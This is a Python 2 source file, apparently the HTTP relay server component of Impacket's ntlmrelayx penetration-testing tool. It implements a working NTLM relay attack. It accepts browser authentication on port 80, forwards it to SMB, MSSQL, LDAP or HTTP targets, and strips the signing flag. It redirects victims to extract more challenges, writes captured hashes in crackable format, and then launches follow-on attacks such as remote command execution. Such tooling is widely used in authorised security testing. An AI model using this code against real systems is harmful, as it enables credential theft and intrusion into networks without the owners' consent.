#!/usr/bin/python2
# Copyright (c) 2013-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# SMB Relay Server
#
# Authors:
#  Alberto Solino (@agsolino)
#  Dirk-jan Mollema / Fox-IT (https://www.fox-it.com)
#
# Description:
#             This is the HTTP server which relays the NTLMSSP 
#   messages to other protocols
import SimpleHTTPServer
import SocketServer
import base64
import logging
import random
import struct
import string
from threading import Thread

from impacket import ntlm
from impacket.examples.ntlmrelayx.clients import SMBRelayClient, MSSQLRelayClient, LDAPRelayClient, HTTPRelayClient
from impacket.spnego import SPNEGO_NegTokenResp
from impacket.smbserver import outputToJohnFormat, writeJohnOutputToFile
from impacket.nt_errors import STATUS_ACCESS_DENIED, STATUS_SUCCESS


class HTTPRelayServer(Thread):
    class HTTPServer(SocketServer.ThreadingMixIn, SocketServer.TCPServer):
        def __init__(self, server_address, RequestHandlerClass, config):
            self.config = config
            #Copy required settings from the config
            #This is because old config passed all variables manually 
            #and the code still depends on that (TODO: Fix this)
            self.target = self.config.target
            self.exeFile = self.config.exeFile
            self.command = self.config.command
            self.mode = self.config.mode
            self.outputFile = self.config.outputFile
            self.redirecthost = self.config.redirecthost

            SocketServer.TCPServer.__init__(self,server_address, RequestHandlerClass)

    class HTTPHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):
        def __init__(self,request, client_address, server):
            self.server = server
            self.protocol_version = 'HTTP/1.1'
            self.challengeMessage = None
            self.target = None
            self.client = None
            self.machineAccount = None
            self.machineHashes = None
            self.domainIp = None
            self.authUser = None
            if self.server.mode != 'REDIRECT':
                if self.server.target is not None:
                    self.target = self.server.target.get_target(client_address[0])
                    logging.info("HTTPD: Received connection from %s, attacking target %s" % (client_address[0] ,self.target[1]))
                else:
                    self.target = self.client_address[0]
                    logging.info("HTTPD: Received connection from %s, attacking target %s" % (client_address[0] ,client_address[0]))
            SimpleHTTPServer.SimpleHTTPRequestHandler.__init__(self,request, client_address, server)

        def handle_one_request(self):
            try:
                SimpleHTTPServer.SimpleHTTPRequestHandler.handle_one_request(self)
            except Exception, e:
                logging.error('Exception in HTTP request handler: %s' % e)

        def log_message(self, format, *args):
            return

        def do_HEAD(self):
            self.send_response(200)
            self.send_header('Content-type', 'text/html')
            self.end_headers()

        def do_AUTHHEAD(self, message = ''):
            self.send_response(401)
            self.send_header('WWW-Authenticate', message)
            self.send_header('Content-type', 'text/html')
            self.send_header('Content-Length','0')
            self.end_headers()

        #Trickery to get the victim to sign more challenges
        def do_REDIRECT(self):
            rstr = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(10))
            self.send_response(302)
            self.send_header('WWW-Authenticate', 'NTLM')
            self.send_header('Content-type', 'text/html')
            self.send_header('Connection','close')
            self.send_header('Location','/%s' % rstr)
            self.send_header('Content-Length','0')
            self.end_headers()

        def do_SMBREDIRECT(self):
            self.send_response(302)
            self.send_header('Content-type', 'text/html')
            self.send_header('Location','file://%s' % self.server.redirecthost)
            self.send_header('Content-Length','0')
            self.send_header('Connection','close')
            self.end_headers()

        def do_GET(self):
            messageType = 0
            if self.server.mode == 'REDIRECT':
                self.do_SMBREDIRECT()
                return

            if self.headers.getheader('Authorization') is None:
                self.do_AUTHHEAD(message = 'NTLM')
                pass
            else:
                typeX = self.headers.getheader('Authorization')
                try:
                    _, blob = typeX.split('NTLM')
                    token = base64.b64decode(blob.strip())
                except:
                    self.do_AUTHHEAD()
                messageType = struct.unpack('<L',token[len('NTLMSSP\x00'):len('NTLMSSP\x00')+4])[0]

            if messageType == 1:
                self.do_ntlm_negotiate(token)
            elif messageType == 3:
                authenticateMessage = ntlm.NTLMAuthChallengeResponse()
                authenticateMessage.fromString(token)
                if not self.do_ntlm_auth(token,authenticateMessage):
                    logging.error("Authenticating against %s as %s\%s FAILED" % (self.target[1],authenticateMessage['domain_name'], authenticateMessage['user_name']))

                    #Only skip to next if the login actually failed, not if it was just anonymous login or a system account which we don't want
                    if authenticateMessage['user_name'] != '': # and authenticateMessage['user_name'][-1] != '$':
                        self.server.target.log_target(self.client_address[0],self.target)
                        #No anonymous login, go to next host and avoid triggering a popup
                        self.do_REDIRECT()
                    else:
                        #If it was an anonymous login, send 401
                        self.do_AUTHHEAD('NTLM')
                else:
                    # Relay worked, do whatever we want here...
                    logging.info("Authenticating against %s as %s\%s SUCCEED" % (self.target[1],authenticateMessage['domain_name'], authenticateMessage['user_name']))
                    ntlm_hash_data = outputToJohnFormat( self.challengeMessage['challenge'], authenticateMessage['user_name'], authenticateMessage['domain_name'], authenticateMessage['lanman'], authenticateMessage['ntlm'] )
                    logging.info(ntlm_hash_data['hash_string'])
                    if self.server.outputFile is not None:
                        writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], self.server.outputFile)
                    self.server.target.log_target(self.client_address[0],self.target)
                    self.do_attack()
                    # And answer 404 not found
                    self.send_response(404)
                    self.send_header('WWW-Authenticate', 'NTLM')
                    self.send_header('Content-type', 'text/html')
                    self.send_header('Content-Length','0')
                    self.end_headers()
            return 

        def do_ntlm_negotiate(self,token):
            if self.target[0] == 'SMB':
                try:
                    self.client = SMBRelayClient(self.target[1], extended_security = True)
                    self.client.setDomainAccount(self.machineAccount, self.machineHashes, self.domainIp)
                    self.client.set_timeout(10)
                    negotiate = ntlm.NTLMAuthNegotiate()
                    negotiate.fromString(token)
                    #Remove the signing flag
                    negotiate['flags'] ^= ntlm.NTLMSSP_NEGOTIATE_ALWAYS_SIGN
                    clientChallengeMessage = self.client.sendNegotiate(negotiate.getData()) 
                except Exception, e:
                    logging.error("Connection against target %s FAILED" % self.target[1])
                    logging.error(str(e))

            if self.target[0] == 'MSSQL':
                try:
                    self.client = MSSQLRelayClient(self.target[1],self.target[2])
                    negotiate = ntlm.NTLMAuthNegotiate()
                    negotiate.fromString(token)
                    clientChallengeMessage = self.client.sendNegotiate(negotiate.getData())
                except Exception, e:
                    logging.error("Connection against target %s FAILED" % self.target[1])
                    logging.error(str(e))
            
            if self.target[0] == 'LDAP' or self.target[0] == 'LDAPS':
                try:
                    self.client = LDAPRelayClient("%s://%s:%d" % (self.target[0].lower(),self.target[1],self.target[2]))
                    # perform the Bind operation
                    negotiate = ntlm.NTLMAuthNegotiate()
                    negotiate.fromString(token)
                    clientChallengeMessage = self.client.sendNegotiate(negotiate.getData())
                except Exception, e:
                    logging.error("Connection against target %s FAILED" % self.target[1])
                    logging.error(str(e))

            if self.target[0] == 'HTTP' or self.target[0] == 'HTTPS':
                try:
                    self.client = HTTPRelayClient("%s://%s:%d/%s" % (self.target[0].lower(),self.target[1],self.target[2],self.target[3]))
                    clientChallengeMessage = self.client.sendNegotiate(token)
                except Exception, e:
                    logging.error("Connection against target %s FAILED" % self.target[1])
                    logging.error(str(e))

            #Calculate auth
            self.challengeMessage = ntlm.NTLMAuthChallenge()
            self.challengeMessage.fromString(clientChallengeMessage)
            self.do_AUTHHEAD(message = 'NTLM '+base64.b64encode(self.challengeMessage.getData()))
        
        def do_ntlm_auth(self,token,authenticateMessage):
            #For some attacks it is important to know the authenticated username, so we store it
            self.authUser = authenticateMessage['user_name']
            
            #TODO: What is this 127.0.0.1 doing here? Maybe document specific use case
            if authenticateMessage['user_name'] != '' or self.target[1] == '127.0.0.1':
                respToken2 = SPNEGO_NegTokenResp()
                respToken2['ResponseToken'] = str(token)
                if self.target[0] == 'SMB':
                    clientResponse, errorCode = self.client.sendAuth(respToken2.getData(),self.challengeMessage['challenge'])
                if self.target[0] == 'MSSQL':
                    try:
                        result = self.client.sendAuth(token)
                        return result #This contains a boolean
                    except Exception, e:
                        logging.error("NTLM Message type 3 against %s FAILED" % self.target[1])
                        logging.error(str(e))
                        return False

                if self.target[0] == 'LDAP' or self.target[0] == 'LDAPS':
                    try:
                        result = self.client.sendAuth(token) #Result dict
                        if result['result'] == 0 and result['description'] == 'success':
                            return True
                        else:
                            logging.error("LDAP bind against %s as %s FAILED" % (self.target[1],self.authUser))
                            logging.error('Error: %s. Message: %s' % (result['description'],str(result['message'])))
                            return False
                        #Failed example:
                        #{'dn': u'', 'saslCreds': None, 'referrals': None, 'description': 'invalidCredentials', 'result': 49, 'message': u'8009030C: LdapErr: DSID-0C0905FE, comment: AcceptSecurityContext error, data 52e, v23f0\x00', 'type': 'bindResponse'}
                        #Ok example:
                        #{'dn': u'', 'saslCreds': None, 'referrals': None, 'description': 'success', 'result': 0, 'message': u'', 'type': 'bindResponse'}
                    except Exception, e:
                        logging.error("NTLM Message type 3 against %s FAILED" % self.target[1])
                        logging.error(str(e))
                        return False

                if self.target[0] == 'HTTP' or self.target[0] == 'HTTPS':
                    try:
                        result = self.client.sendAuth(token) #Result is a boolean
                        if result:
                            return True
                        else:
                            logging.error("HTTP NTLM auth against %s as %s FAILED" % (self.target[1],self.authUser))
                            return False
                    except Exception, e:
                        logging.error("NTLM Message type 3 against %s FAILED" % self.target[1])
                        logging.error(str(e))
                        return False
            else:
                # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials, except
                # when coming from localhost
                errorCode = STATUS_ACCESS_DENIED
            if errorCode == STATUS_SUCCESS:
                return True
            else:
                return False

        def do_attack(self):
            if self.target[0] == 'SMB':
                clientThread = self.server.config.attacks['SMB'](self.server.config,self.client,self.server.exeFile,self.server.command)
                clientThread.start()
            if self.target[0] == 'LDAP' or self.target[0] == 'LDAPS':
                clientThread = self.server.config.attacks['LDAP'](self.server.config, self.client, self.authUser)
                clientThread.start()
            if self.target[0] == 'HTTP' or self.target[0] == 'HTTPS':
                clientThread = self.server.config.attacks['HTTP'](self.server.config, self.client, self.authUser)
                clientThread.start()

    def __init__(self, config):
        Thread.__init__(self)
        self.daemon = True
        self.config = config

    def run(self):
        logging.info("Setting up HTTP Server")
        httpd = self.HTTPServer(("", 80), self.HTTPHandler, self.config)
        httpd.serve_forever()
